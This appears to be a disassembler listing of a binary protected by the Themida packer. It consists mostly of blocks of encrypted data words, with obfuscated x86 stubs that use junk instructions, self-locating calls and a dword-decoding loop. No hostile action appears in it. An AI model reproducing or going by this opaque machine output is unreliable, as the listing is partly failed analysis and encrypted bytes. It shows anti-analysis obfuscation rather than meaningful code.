		dd 1584487Dh, 0FD7A97AAh, 3ED056C5h, 0FD7AE2CDh, 21EF0D75h
		dd 70727813h, 0FC1C1FC0h, 518A5D7Dh, 2D02C7Fh, 0FC1C4FE0h
		dd 0E592087Dh, 4D7AE574h, 5779F825h, 2844B9Dh, 0FC43548Ah
		dd 0A5CA5E75h, 3ED02C7Fh, 4DD0C7C5h, 0E1926127h, 9B851A8Bh
		dd 9B4BFDCDh, 36B91DEh,	0A7CA438Ah, 5722EEDFh, 57929FB6h
		dd 0C923C22h, 0A77ACB75h, 3F5122FEh, 747E1AF6h,	8B9177h
		dd 592438Ah, 4D7A5E75h,	5779252Dh, 0A8FF69B6h, 7D72CA13h
		dd 0FC1CB0C8h, 0EC0FF37Dh, 9BBDFCF8h, 152AB474h, 0FD7A5C61h
		dd 0FD781B9Dh, 571A2775h, 287759Dh, 0C30D8Ah, 9CCA0D8Ah
		dd 0A8F787DFh, 7D72BD13h, 0FC1C0BC8h, 0F10F2F7Dh, 9BBD12F8h
		dd 152AC374h, 0FD7AE4DEh, 0FD7E4AB6h, 68857975h, 0F57BDAA9h
		dd 965EC3F8h, 0F9F02774h, 4DB93D6Dh, 562D619Ch,	0FD7A8E9Dh
		dd 3AF1A875h, 15F9BB5Eh, 3E783571h, 9BA2CB8Ah
		dd 4ACE2774h, 0FF0E9651h, 0F2CA74C1h, 0C9924E13h, 0AE7AF275h
		dd 0FD7A279Dh, 0FEF0E675h, 0F179BEB5h, 577825B5h, 25EF68B6h
		dd 7D72CA13h, 39FAEA91h, 9B7542F5h, 15D12EDEh, 285415Ah
		dd 0D6BDD52Fh, 0F992ACB7h, 45B995FCh, 0FD7ACB73h, 9BA6708Ah
		dd 60F7FA74h, 0F57B1FCEh, 3E39A0F8h, 0FD7A4ECDh, 21EFD075h
		dd 7E729613h, 35F1CEB5h, 25EF1A89h, 5772F313h, 15B98E97h
		dd 28543BEh, 0D97B1DFFh, 778E5A72h, 0FC6C7F76h,	1608CB75h
		dd 8831DB6h, 11F1A789h,	9D86BDF6h, 0FD7ABC9Dh, 17FB0475h
		dd 0F57B4441h, 7D86EAFCh, 0FC1C1CCFh, 7975E57Dh, 0FD7AF2ECh
		dd 0FD7A73CDh, 21E84375h, 0BD725F13h, 9B9AADFCh, 35F19F74h
		dd 917279F8h, 6F85ED74h, 0F57B94ADh, 1F3C7FFDh,	0FD6D0480h
		dd 7F795E75h, 0F57B4995h, 1E01A35h, 7E72CA1Eh, 0FEF3E1B6h
		dd 0FD644B22h, 77797975h, 0F57BDA95h, 9690ECF8h, 59892774h
		dd 0FD722F2Bh, 6F85CB75h, 0F57B83A9h, 897E0AF6h, 447C7185h
		dd 0FD7ABC72h, 0F24B5A7Dh, 1EBBF7C3h, 0FD742E76h, 0E172CB75h
		dd 0FD765C44h, 0F972F275h, 0FD61C044h, 0F972BC75h, 0FD66E744h
		dd 0F9722F75h, 15B7F44h, 80F3348Ah, 80F18489h, 0ADB93B89h
		dd 0FD7A7F9Dh, 2229C75h, 0A58E7A11h, 55E6BFCh, 0D93E16E9h
		dd 0C92CB389h, 0AD3A7867h, 0FD7AF2B6h, 0FD7A7975h, 0A87ABC75h
		dd 151AB2FEh, 0FD7A2F75h, 0E690162Fh, 7072CA19h, 0FC1C01CFh
		dd 0F50F797Dh, 0FD7A71CCh, 9CDE4F75h, 0FD7E9CBCh, 19E7A226h
		dd 7D729613h, 887BD349h, 1683BE71h, 3E82A977h, 9D96F220h
		dd 0FD7ABC9Dh, 17FB0475h, 0F57B4321h, 9B9E25F8h, 80F1C374h
		dd 0FD725C7Dh, 5989F275h, 0F9B8B014h, 40F7DC75h, 0F57B3891h
		dd 0F5C3EF46h, 0E7A9775h, 9DB9AADFh, 9B9E58F8h,	0C2FBFA74h
		dd 0FC7B7874h, 82FBB000h, 0FC7B5F71h, 4795A74h,	9C82969Eh
		dd 40F7ABB6h, 0F57B8391h, 0FD7AF3CDh, 0FD72C075h, 5789BC75h
		dd 3DF19D14h, 78F7EFFEh, 0F57BF184h, 0CA8BD08Ah, 0E2870CEBh
		dd 62DD4FC1h, 2D2F24F8h, 41E9BB7Dh, 0E9000006h,	635h, 0D40A9482h
		dd 7DB3EB27h, 235945D0h, 0CF059976h, 79AFEF22h,	6AA79045h
		dd 0C351FE34h, 18F8A5DBh, 70A35086h, 0D129F82Eh, 0E7EF52B5h
		dd 631A8007h, 0A7326CA7h, 45D0CE42h, 0DF6A34E0h, 7C07977Ah
		dd 633BD72Ch, 5C09AFD8h, 0E5EE9B5h, 0BA4559B9h,	0D13EEB91h
		dd 38DD42CDh, 27E70F55h, 0CD38B2ECh, 2DB8216Bh,	1E434AC8h
		dd 0C417611Fh, 627F0E5Ah, 672F4FE8h, 416AF5A9h,	8ADF6FD8h
		dd 638C1787h, 0B0DA2ABDh, 201B62D8h, 6DCE7400h,	5FB4441Ch
		dd 3760EBB3h, 79B9F991h, 43AFEF24h, 0FFE6F9E0h,	9307AD06h
		dd 7E865F1h, 801EF146h,	0AD3891DAh, 9BD1CD48h, 0EC7727EEh
		dd 0AB9A5DC0h, 0ABF31F4Fh, 4955BB20h, 722C65BEh, 3EF831CAh
		dd 0ADE3BB5Ah, 93233D4Ch, 8D11FE53h, 0A6DD902h,	384FA96Ah
		dd 61A139DFh, 1A9CD737h, 0DF852831h, 0AA8DCD6Bh, 10A0F957h
		dd 0BF4A54BBh, 7EE7B75Ah, 0BC623CD9h, 524CC429h, 0C1A16F1Ch
		dd 9D011151h, 1780E912h, 0C1DD3287h, 4B930D36h,	0F0D28EB3h
		dd 0C1ED8026h, 74A42ADFh, 0FF1B5BABh, 6B1FAA9Ch, 0CEA360CAh
		dd 0FD54A9E6h, 0B36DEE94h, 19858FE4h, 12BF658Eh, 96AA0FEh
		dd 1050E080h, 0B9445ABBh, 0C476EA90h, 43731A65h, 385423EEh
		dd 6CAA5FD5h, 9339A2FBh, 0C61F14Ah, 0E60F9A04h,	1A81AD40h
		dd 246CAA5Fh, 0AAE2E9A3h, 48A5386Bh, 7,	3AB6DD9h, 0A7060000h
		dd 7BA53569h, 0C9933A50h, 0DEA31DEFh, 0B61F2156h, 0D53ACD73h
		dd 81D35E40h, 56BA9E58h, 0AFA20521h, 77D0FFE6h,	0EB297E0Eh
		dd 22CF0DB3h, 9425B0EEh, 0CCD24137h, 2D35DC41h,	32CB7E7h
		dd 0C2F30F9Ah, 0BC356008h, 0ACF21E02h, 2D4AC71Ch, 0E6AFAE11h
		dd 127BD4FFh, 41962E6Ch, 7C29CFCFh, 157A0599h, 8719A4FAh
		dd 55C0A45Eh, 0F9A040Dh, 0AD006CE6h, 0A2BE4E43h, 688F0339h
		dd 0B263C53Eh, 71093F5Fh, 0CB828847h, 0BE649C10h, 109B0311h
		dd 0AA3569ABh, 7A5E1851h, 0E7CE049Ah, 0F1h, 0AB67BC80h
		dd 0DBC34EF3h, 0B1BBD435h, 4C52C126h, 0E1AC6916h, 0BD0384C0h
		dd 1DA811B7h, 0E6B18EF1h, 8EE323FFh, 0F6771D81h, 0E1BD583Ch
		dd 4C16FEABh, 2750DBC3h, 8EE333BEh, 68911C82h, 0B159BCD8h
		dd 2E87FFE6h, 6638DB88h, 3859ACD6h, 0D380A69Ch,	0E77A54B7h
		dd 0C02982FFh, 0DE2E871Ah, 6C128C89h, 0C74D31EBh, 21F247D7h
		dd 24C9F27Dh, 0FF28B3EBh, 2E831B59h, 62FBAE4h, 3D61B360h
		dd 0DAC44DB2h, 0B3A204Ah, 3E84B67h, 0B50EFFE7h,	0FFB9E73Bh
		dd 0D8018C12h, 0A436C96Fh, 37DDC17Bh, 8D843167h, 25418111h
		dd 0FFE6B3C2h, 0F15470F0h, 1FFFE6B2h, 24B75DC6h, 0CD0E3593h
		dd 0E8044413h, 0FFE6B385h, 0FFAC52ABh, 0A7FC8C12h, 46AB3668h
		dd 1C45D0CEh, 22CF0DB3h, 0DB3489EEh, 0A30F38C3h, 0FFE6B340h
		dd 19A40D66h, 0E6B387EDh, 0AB6596FFh, 1F5549C7h, 607CBC68h
		dd 0FFE682FDh, 3950CA23h, 0E2AE7C22h, 61AF5C02h, 0C34DB23Dh
		dd 0DC3598B4h, 0F15BFFE6h, 0D6DD1B9Ah, 58C12AC4h, 0F3AB68CDh
		dd 8C120368h, 3295B101h, 60FFE6BEh, 7B356E07h, 8C4677D3h
		dd 0B6FE93BDh, 46F1F241h, 0EB379AB6h, 45DFFE6h,	3F5FB15Eh
		dd 0E8B65AAFh, 508E345Dh, 0E6F052DCh, 256028FFh, 0C53874F7h
		dd 0FFFFFEA5h, 0B996F356h, 563459F1h, 0B141AAE0h, 0E0F02B95h
		dd 0D35EB707h, 0C3F9A56Eh, 6539D62Bh, 9D0112BFh, 62AD12h
		dd 9B268F0Fh, 804F0942h, 2FBAE42Bh, 60B36006h, 0B85B083Eh
		dd 0C92F5BE6h, 0DA07E0C3h, 80BEFA9h, 88C86096h,	0E0C3096Ch
		dd 38DE3707h, 8B16888Bh, 9BE7113Bh, 0F067D82Ah,	83137C22h
		dd 0E1610467h, 33D93207h, 19A9B7D2h, 0DB794BFDh, 88BE170Fh
		dd 6EFE6227h, 1DA8F619h, 76B64EF4h, 4CB71A36h, 48DDFFE7h
		dd 0C369D2CCh, 0E8B8B54Fh, 0ED78D107h, 0E0168888h, 36C1DD33h
		dd 0AC25A70Ah, 0F7A7694Fh, 940A076Ch, 0D48EB709h, 305A9A2Ch
		dd 0B6B1B46Eh, 0E3640A8Eh, 0D3CB4529h, 7A24F09Dh, 18868AEFh
		dd 0C92C4888h, 0F74FA888h, 4065F89Eh, 0F63605BFh, 0A88877DAh
		dd 11D9D4Fh, 4FA8889Eh,	5D026BC4h, 325BE6B8h, 9484BC8Ch
		dd 166B8836h, 18F99FFFh, 0B9h, 336BA7A9h, 0A29E79A3h, 63B20FE1h
		dd 0BDE77FBDh, 0BB3029EDh, 5A950F45h, 1D0B9DA6h, 90CB95Fh
		dd 5DB25F95h, 5571B141h, 0FFE715F2h, 0E321C720h, 8DC3DB36h
		dd 0E03131E0h, 7A0A33BEh, 0E715FB5Eh, 67D029FFh, 0E908431h
		dd 0BF223E7Eh, 81FFE716h, 70C90A94h, 31DF8CCAh,	898A376Dh
		dd 0DF32DF15h, 55AD34BFh, 0E48A1400h, 66D70151h, 4E71A91Fh
		dd 0E2B58EB4h, 5D380968h, 314EB1CDh, 1B74FFE7h,	534BC875h
		dd 530D36C8h, 76D9F54Dh, 9CFFE731h, 319D001Ch, 6AC3FFE7h
		dd 0A9FCCB01h, 670Ah, 0C8F4A300h, 0FFE68368h, 29B4EA2Ah
		dd 0C24D51C4h, 0A54D0730h, 4F0AAD3h, 336BA75Dh,	0D9C550FDh
		dd 8519F6A3h, 1E6FA24Fh, 0E4E3F0Bh, 0C3F9624Ah,	6DA3FB16h
		dd 0C9280D5h, 5B25881h,	0C1598F0Fh, 70FBA36Ch, 2E97070Bh
		dd 4235DB88h, 0E743C326h, 2F98F1FFh, 0D8C64A9Fh, 407E244Dh
		dd 0E81E8093h, 301h, 5CBB9A00h,	0A42F6FA7h, 3FCAD43Fh
		dd 0DD6836DAh, 77029C78h, 149FFF12h, 0B13C62AFh, 50DBC34Ch
		dd 0E9742AEBh, 85108E84h, 404D6852h, 0C890000h,	6D8A6824h
		dd 34890000h, 0E0895024h, 405h,	42D00h
		dd 4870000h, 14895C24h,	0AB95124h, 0BE22410Ch, 0E5C060D1h
		dd 2546EE81h, 0CE0170FFh, 2546C681h, 685970FFh,	590Ch
		dd 81242489h, 42404h, 505A0000h, 601BB53h, 9B8533Ah, 31533A06h
		dd 0D0015BD8h, 8B583089h
; ---------------------------------------------------------------------------
		adc	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		dd 0BF98C03Ch, 727CB830h, 0C5030801h, 14E8D38Bh, 42000000h
		dd 81624F0Eh, 68F62FD6h, 2FC8FEB0h, 0DF530368h,	80B3F489h
		dd 0F5A1BDCh, 98Dh, 38C0F00h, 0F000000h, 0C281FEBFh, 7182h
		dd 11E9h, 0E1663E00h, 8176B48Fh, 67EEF362h, 7663E2A8h
		dd 68E376h, 60000000h, 0ED11CB8h, 0CE823h, 72310000h, 6622233Dh
		dd 16CCCDDDh, 810FBE96h, 0
; ---------------------------------------------------------------------------
		pop	ecx
		popa
		pop	esi
		jnp	loc_5FA7D0
		sbb	cl, 38h
; START	OF FUNCTION CHUNK FOR sub_5FA83B


loc_5FA7D0:				; CODE XREF: Themida_:005FA7C7j
					; sub_5FA83B+7j
		mov	ebx, [edx+esi]
		pusha
		cld
		stc
		popa
		add	ebx, 1ACA5182h
		mov	ah, bl
		xor	ebx, 0D9F512Eh
		pusha
		cld
		popa
		add	ebx, 46EC999Ah
		push	ebx
		mov	ax, dx
		pop	dword ptr [edx+esi]
		mov	ecx, ebx
		cld
		sub	esi, 3
		mov	ecx, ebx
		dec	esi
		jle	loc_5FA80A
		sub	edi, 538A0CA8h


loc_5FA80A:				; CODE XREF: sub_5FA83B-3Dj
		cmp	esi, 0FFFF8F68h
		jnz	loc_5FA82C
		mov	ax, 0D699h
		jmp	loc_5FA84D
; END OF FUNCTION CHUNK	FOR sub_5FA83B
; ---------------------------------------------------------------------------
		db 51h
		dd 0B168CD21h, 0EF50BC0Eh, 0CA262E56h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5FA83B


loc_5FA82C:				; CODE XREF: sub_5FA83B-2Bj
		call	sub_5FA83B
		jp	short near ptr byte_5FA879
		sub	[eax+4525CFC9h], esi
		jg	short loc_5FA869
; END OF FUNCTION CHUNK	FOR sub_5FA83B

; =============== S U B	R O U T	I N E =======================================



sub_5FA83B	proc near		; CODE XREF: sub_5FA83B:loc_5FA82Cp

; FUNCTION CHUNK AT 005FA7D0 SIZE 0000004F BYTES
; FUNCTION CHUNK AT 005FA82C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005FA84D SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005FCD00 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005FCD2F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00600F1B SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00600F4E SIZE 00000021 BYTES

		sub	eax, 2C7874E7h
		pop	eax
		jmp	loc_5FA7D0
sub_5FA83B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	esp
		and	eax, 0D16931BCh
; START	OF FUNCTION CHUNK FOR sub_5FA83B


loc_5FA84D:				; CODE XREF: sub_5FA83B-21j
		lea	ebx, [ebp+7FA262Dh]
		mov	eax, 2490h
		mov	[ebp+7FA0D81h],	eax
		call	$+5
		pop	eax
		add	eax, 0Dh


loc_5FA869:				; CODE XREF: sub_5FA83B-2j
		mov	[ebx], eax
		jmp	loc_5FCD00
; END OF FUNCTION CHUNK	FOR sub_5FA83B
; ---------------------------------------------------------------------------
		dd 2 dup(0)
		db 0
byte_5FA879	db 3 dup(0)		; CODE XREF: sub_5FA83B-Aj
		dd 921h	dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5FA83B


loc_5FCD00:				; CODE XREF: sub_5FA83B+30j
		jmp	loc_5FCD2F
; END OF FUNCTION CHUNK	FOR sub_5FA83B
; ---------------------------------------------------------------------------
		mov	dword ptr [esp], 0
		call	$+5
		pop	ebp
		sub	ebp, 80198D0h
		mov	eax, [esp+4]
		mov	[ebp+7FA212Dh],	eax
		mov	eax, 0
		lea	ecx, [ebp+7FA4F66h]
		jmp	ecx
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5FA83B


loc_5FCD2F:				; CODE XREF: sub_5FA83B:loc_5FCD00j
		mov	eax, 6754h
		jmp	loc_600F1B
; END OF FUNCTION CHUNK	FOR sub_5FA83B
; ---------------------------------------------------------------------------
		db 9Fh,	77h, 27h
		dd 0D0CE44F1h, 7628ED9Ah, 227C9340h, 0CCD23FECh, 0C6AD6296h
		dd 701D534Bh, 17C4FAA4h, 0C26FA5F9h, 48174D51h,	1B71D4F0h
		dd 399F07E8h, 0AD67BC82h, 0FE864BF1h, 0EF0B6CA9h, 0FFE6838Ch
		dd 52F861BAh, 326CA79Bh, 0A752C183h, 83C92F6Ch,	9CF5FFE6h
		dd 55ADAEDh, 0DE07920Ch, 1F7B8138h, 0D3771E1Fh,	0FA204A19h
		dd 0AED33D5Fh, 187B9727h, 3EFFE6A8h, 0BC883FE5h, 4CF2AC67h
		dd 0C303749Fh, 0E68344A7h, 0AB0872FFh, 0C404EEA8h, 0D549EF58h
		dd 0FFE6BD6Fh, 0BC93429Bh, 0AFEC792h, 781E8ECAh, 7CBC8C33h
		dd 0E682FD60h, 50CA23FFh, 103F68FCh, 11BE6436h,	0C1EF9E00h
		dd 0FA68A752h, 6C1B841Ah, 0FD607CBCh, 23FFE682h, 229124CAh
		dd 0E55C860Eh, 2F6E28F1h, 0AA138B86h, 0EF62AC30h, 0FFA5B751h
		dd 2B19D348h, 83326CA7h, 6CA73BDAh, 0D878A232h,	87861B28h
		dd 0BC7D34DAh, 6BF6A867h, 83229C42h, 19D35AB9h,	326CA72Bh
		dd 0E0680F83h, 0FFE6F346h, 326CA7EEh, 0A75F1683h, 1683326Ch
		dd 0F86AA75Fh, 0DBF78717h, 0FFE68378h, 2DDC459Eh, 0F3AB67BCh
		dd 779A3F68h, 9EEE8127h, 83DF425Eh, 0AC05FFE6h,	69A74F06h
		dd 0E683CC32h, 0F2A1FAFFh, 6AA73BDAh, 0E683CB31h, 0EF9EF7FFh
		dd 68A7680Fh, 92BC8736h, 5CA80865h, 770AB0E1h, 5D41D227h
		dd 4C03A9D2h, 300C1CE0h, 860EDC77h, 83C72A46h, 8C89FFE6h
		dd 1D5E8712h, 0BC671EC4h, 0F7ADDF92h, 6B07811Dh, 9819BF83h
		dd 6BA7F0DEh, 0D1298E22h, 0CC3526E1h, 0E052C11Dh, 22DA06ABh
		dd 0BC670E4Bh, 6AF5A967h, 601A9B41h, 316DA772h,	0B3C44CA1h
		dd 0E6833497h, 0A00962FFh, 71C143FAh, 1CA7F71Ch, 0A7964DF3h
		dd 0C182316Dh, 0D3670E52h, 6AA72B19h, 67BC8534h, 1250F6A8h
		dd 3569A75Bh, 3171C186h, 0E683B215h, 0E187E0FFh, 3569A72Ah
		dd 2277BF86h, 530AB0EEh, 0E4A967BCh, 0BEAE8A7h,	50F65FEAh
		dd 9C2C72A3h, 0E3DD405Ch, 0AA03FFE6h, 0E39BFE1Ah, 70C9FFE6h
		dd 58BF13CAh, 19D386EDh, 3569A72Bh, 0A74BAA86h,	0EEE40E69h
		dd 3D6631EFh, 36147793h, 0E942FFE7h, 66DA80h, 0DFFFE736h
		dd 0AD0D6AB5h, 18BEC46Ah, 0C6D83ACFh, 9778CD5Dh, 0DAAA6107h
		dd 3F11305Ah, 0C1736D54h, 20ABF31Ch, 7B9A51F7h,	961E1E1Eh
		dd 83D73A56h, 0A4FDFFE6h, 19D347FEh, 0E69A72Bh,	0BD4856B9h
		dd 147AEE94h, 42FFE683h, 0C12F59E9h, 6EA30477h,	0F9A51F7h
		dd 1A1A7B68h, 863569A7h, 69A7680Fh, 3BDA8635h, 0F1AD67BCh
		dd 0EA973D66h, 0DAC5742Ah, 52A7EF3Bh, 7E35DBC3h, 0A72B19D3h
		dd 0F863569h, 3569A768h, 547E1686h, 8D570514h, 843BE163h
		dd 0C9AE67BCh, 0E6834AADh, 0B61F78FFh, 5F43F12Bh, 1838C486h
		dd 96080AAFh, 0D1CD43F0h, 0BC52C122h, 0A6FA6392h, 0D57BF227h
		dd 4B3EB28h, 6AA752C1h,	58BF8534h, 863569A7h, 6AA74BAAh
		dd 0AE7AA434h, 68C0F13Dh, 0FE6737D8h, 3BDAA158h, 0F94E2F7Bh
		dd 0CFF8831Bh, 6EA77229h, 0CF40A530h, 0BF0044CFh, 63F35D05h
		dd 0A8C010Eh, 0A9A24D9Bh, 0D9028DF6h, 19D37C33h, 326CA72Bh
		dd 277CBC83h, 0E144B0EEh, 0FFFE682h, 3AD210B6h,	0FDAFBA10h
		dd 0FF1B74EEh, 0FFE76E9Ch, 8E0871CAh, 0A8B46B71h, 9F56FCE2h
		dd 863569A7h, 0FFE052C1h, 0D6FFE6F9h, 7FE8F81h,	25044AE9h
		dd 3B64EF58h, 89F0DE95h, 0BC2B19D3h, 0B25A6F92h, 0FBF737Ch
		dd 0C1E96332h, 0C26F158Fh, 16A1504Eh, 1B92BC5Fh, 0FDF35EDAh
		dd 1FF4A147h, 71C1D07Fh, 83B21531h, 87E0FFE6h, 68A72AE1h
		dd 0BE51A636h, 0C4DA3BE0h, 0B36A1039h, 6AA752C1h, 0CD44A934h
		dd 0B4ED46D1h, 9BAF41FAh, 0C75073F2h, 0D379205Eh, 9DF32B19h
		dd 2B19D37Dh, 863569A7h, 0FD607CBCh, 23FFE682h,	0AEF025CAh
		dd 0A713CA08h, 0C183326Ch, 2E6DA752h, 0FFE683C8h, 0BCEE9DF6h
		dd 82FD607Ch, 0CA23FFE6h, 0A70BAA24h, 0DA863569h, 920C055Ah
		dd 8138DE07h, 19D333E2h, 3668A72Bh, 0AC67BC87h,	983E67F2h
		dd 0B260B505h, 0A78F46ECh, 83C92F6Ch, 9CF5FFE6h, 0AD92BCEDh
		dd 288F0ECh, 1DBC36DCh,	0FD607CBCh, 23FFE682h, 9C7724CAh
		dd 0E68399FFh, 0A44C76FFh, 0D105E72Ch, 116AB359h, 0A7680F62h
		dd 0BC83326Ch, 17B3D492h, 38DE938Ah, 6CA743FAh,	3BDA8332h
		dd 0F0AE67BCh, 46EE0376h, 0DC82682Eh, 0C4A9A903h, 0AFCC4A74h
		dd 401FEC0Fh, 19D3E39Ah, 326CA72Bh, 80D62A2h, 76E20B96h
		dd 0FFE68313h, 42A5C141h, 70FFE683h, 5108AE17h,	0F5A967BCh
		dd 0F3630A4Fh, 0BF729C9Dh, 3B2C0271h, 0D323DA80h, 6CA72B19h
		dd 5F168332h, 0B4AE67BCh, 8FB8435Bh, 3CD38026h,	67BCB362h
		dd 4069F4AAh, 833194B0h, 65FFFE6h, 0A75ECD60h, 0C1873668h
		dd 20207B52h, 7CBC2AC9h, 0E682FD60h, 24CA23FFh,	0BCFBE9A3h
		dd 6BF6A867h, 20EF9C42h, 0FED22D57h, 9B784715h,	0E771CC2Fh
		dd 247A96FFh, 0D62F7099h, 5F16BE6Dh, 0F6A867BCh, 0A4F4DC50h
		dd 0A784FFE6h, 16873668h, 0B6E8297Eh, 9DF35910h, 0A967BC7Dh
		dd 9B416AF5h, 0CE7D21EEh, 6BA758BFh, 77BF8433h,	26B1ED22h
		dd 82A057FDh, 784B0832h, 4FF2FB8Eh, 7AE437D5h, 9036D6E2h
		dd 4A19D3D9h, 42D0FF20h, 4AF0259Ch, 0AB67BC93h,	0FC1868F3h
		dd 0FFE68399h, 5F056EC7h, 0B1415DB2h, 5FEAB45Ch, 0AAD99036h
		dd 1D92BC4Bh, 0E93D609Ch, 0B06AEB91h, 0F86AA7C2h, 0D0F9841Ah
		dd 7CBCB867h, 46B2EC27h, 0FFE682E3h, 0FE13B811h, 46EC15A0h
		dd 6EA744B3h, 1140CE1Fh, 268F4F3Bh, 0D73A5696h,	0FDFFE748h
		dd 67F2AC68h, 782FD53Eh, 0F2AC67BCh, 3983E67h, 3668A79Ch
		dd 0DDC151A6h, 4BAA8037h, 0A63668A7h, 9BB7C051h, 0FFE68338h
		dd 0F69C055Eh, 0E052C13Fh, 0FFE6836Dh, 796FFA24h, 0E74C93B2h
		dd 5BBA8A41h, 0A72B19D3h, 16873668h, 0AB67BC5Fh, 993F68F3h
		dd 0D73D25ECh, 8ECE5EC7h, 57C3DB39h, 0FFE682F4h, 6C23C922h
		dd 0E8297E16h, 5C022BB6h, 3668A7A5h, 0A75F1687h, 0C183326Ch
		dd 336BA752h, 0E44763A3h, 12FFE682h, 0BC5C13B9h, 4CF2AC67h
		dd 0FE1469B9h, 267CE38Fh, 82EB5797h, 7128CEF7h,	83326CA7h
		dd 0F5A967BCh, 0A74DBC4Fh, 0C185346Ah, 0D389F052h, 6CA72B19h
		dd 92BC8332h, 0F33A2F0h, 7FBD6353h, 326CA7C8h, 9DC54DA2h
		dd 769F2A74h, 0C1B0670Dh, 0F892BC52h, 6D723B2Eh, 6620839Fh
		dd 0ED46FFE7h, 0A805DE84h, 0D37221A8h, 6CA72B19h, 5F168332h
		dd 84336BA7h, 5C4771C1h, 1C449F53h, 7B3BF298h, 69A71D1Dh
		dd 0CE45AA35h, 0F82945D0h, 0E4BA5A3Eh, 9CC73059h, 9A77CC0Ch
		dd 0E4507904h, 0FFE68381h, 0F9B056AFh, 0FD607CBCh, 23FFE682h
		dd 870650CAh, 86EC3249h, 0B7A55FE0h, 84336BA7h,	223E7E16h
		dd 0FFE683BFh, 25837BE5h, 7DF429C6h, 0A7B76E14h, 8DF00C6Bh
		dd 7AFFE683h, 67929E4Fh, 217ABB3Ch, 5F1609B8h, 83326CA7h
		dd 0F6A867BCh, 0E04EBD50h, 0FFE691C6h, 2363B36Eh, 0E683A407h
		dd 0D379D2FFh, 2B19D31Ch, 83326CA7h, 67BC5F16h,	4DB0CCABh
		dd 73FFE683h, 5E0BB11Ah, 459E9B5h, 30E78D11h, 0ACE052C1h
		dd 4CA84536h, 0AB3668A7h, 4AD5C946h, 56FEB8F1h,	19D37118h
		dd 346AA72Bh, 0A752C185h, 83C92F6Ch, 60F5FFE6h,	0F282EBB3h
		dd 833396B2h, 0CC61FFE6h, 0A6CF5A44h, 0BCE0973Dh, 68F3AB67h
		dd 9F1F993Fh, 83E0435Fh, 0AD06FFE6h, 6AA75007h,	0E683CB31h
		dd 0EF9EF7FFh, 64305ADAh, 0CD52A70Ah, 48100595h, 81EAF296h
		dd 0D72B9407h, 0D97FA42Bh, 0D3086F22h, 67BC2B19h, 416AF5A9h
		dd 7625EE9Bh, 0FFE68310h
		dd 0BC36E53Eh, 4AF0AE67h, 0E9287D05h, 87012AB5h, 56C9BC86h
		dd 4D04AA9Ah, 83326CA7h, 6CA75F16h, 7CBC8332h, 0E682FD60h
		dd 50CA23FFh, 3EE2CF9Fh, 0AEEC92C5h, 4E50C116h,	0E88FF1A8h
		dd 85F4E88Fh, 0E6837DE0h, 5BBA35FFh, 9F2B19D3h,	306EA7F8h
		dd 0D6C84BA0h, 977D224Bh, 0AD537C07h, 8552C1F6h, 3DA0BC0Eh
		dd 63FFE683h, 5F165B0Ah, 6EA785F4h, 5F168130h, 0F4AA67BCh
		dd 2C72A14Eh, 0E052C17Dh, 0FFE6837Dh, 8D11FF54h, 7C33D902h
		dd 83326CA7h, 0F0AE67BCh, 0A7550C4Ah, 0C181306Eh, 0B1EDE052h
		dd 7A852C32h, 2B19D31Bh, 81306EA7h, 92BC5F16h, 36E810A5h
		dd 37E48A5Eh, 0C111C0DEh, 326CA752h, 7A52C183h,	607CBC1Bh
		dd 0FFE682FDh, 0DB3398EAh, 1556B702h, 0DB9516BCh, 306EA7EDh
		dd 9BC74BA0h, 33BE2777h, 8364C7E3h, 3992FFE6h, 0BC732AD0h
		dd 1CFBD992h, 0FB8B0737h, 0E7007CDFh, 0AB51AAFFh, 6EA7B66Dh
		dd 71C18130h, 3A9F51Ch,	0E92BC4Ch, 0A01C5181h, 429AFF5Fh
		dd 6BD49080h, 0B75E51C5h, 0BA162C32h, 4A19D35Bh, 0EC79D420h
		dd 0C5EE7925h, 73EE5B4Bh, 4E77029Ch, 0A7883FE5h, 0BC81306Eh
		dd 4DF3AB67h, 2D85580Fh, 0DC6737D8h, 98019D77h,	52C13BF2h
		dd 0A2326CA7h, 50DBC34Dh, 16CA8127h, 0AE67BC5Fh, 7BEA4AF0h
		dd 0E6837DE0h, 12FF54FFh, 74DDC150h, 631AC0E9h,	19D31B7Ah
		dd 0BCF89F2Bh, 6AF5A967h, 27EE9B41h, 52C1C877h,	0E6837DE0h
		dd 5BBA35FFh, 204A19D3h, 972650E3h, 8E45EB84h, 0A0306EA7h
		dd 82E14460h, 0B60FFFE6h, 0F79D0111h, 0A75F1640h, 7D21F46Eh
		dd 1C828DF2h, 0C19B4AB3h, 0BC0E8552h, 0E6833DA0h, 7A0A63FFh
		dd 28B3EB25h, 743C4EEh,	47B0435Ch, 493406CDh, 0AE544800h
		dd 0B352C1F7h, 2B19D344h, 81306EA7h, 0F5A967BCh, 855A114Fh
		dd 0A752C10Eh, 0C181306Eh, 0BC44B352h, 68F3AB67h, 5E18993Fh
		dd 0C9D53A8Fh, 6FD2EE3Eh, 95FFE683h, 762DD33Ch,	6A316DA7h
		dd 0AA67BCF3h, 9A4069F4h, 8383E602h, 58B1FFE6h,	0A967BCA9h
		dd 9B416AF5h, 6EA7A65Dh, 71C18130h, 0AB69F91Ch,	0D6FF8AF3h
		dd 0D36D905Ch, 0AF557001h, 0BC0E85F8h, 82FD607Ch, 0CA23FFE6h
		dd 0C4C8C24h, 0E6838DF0h, 0B55AB3FFh, 25993F5Fh, 0FFE683C2h
		dd 0BCE897F0h, 84A44192h, 56D00D7Ch, 0C9F2E0AFh, 0E4771D3Dh
		dd 0BC44B375h, 4EF4AA67h, 0EF4413CDh, 1DD47A24h, 0FD607CBCh
		dd 23FFE682h, 38ADF5B9h, 258E533Ah, 5B43D27Fh, 297E16ACh
		dd 0FF28B3EBh, 179FA259h, 77FEFEDh, 531C9608h, 4A01A79Ch
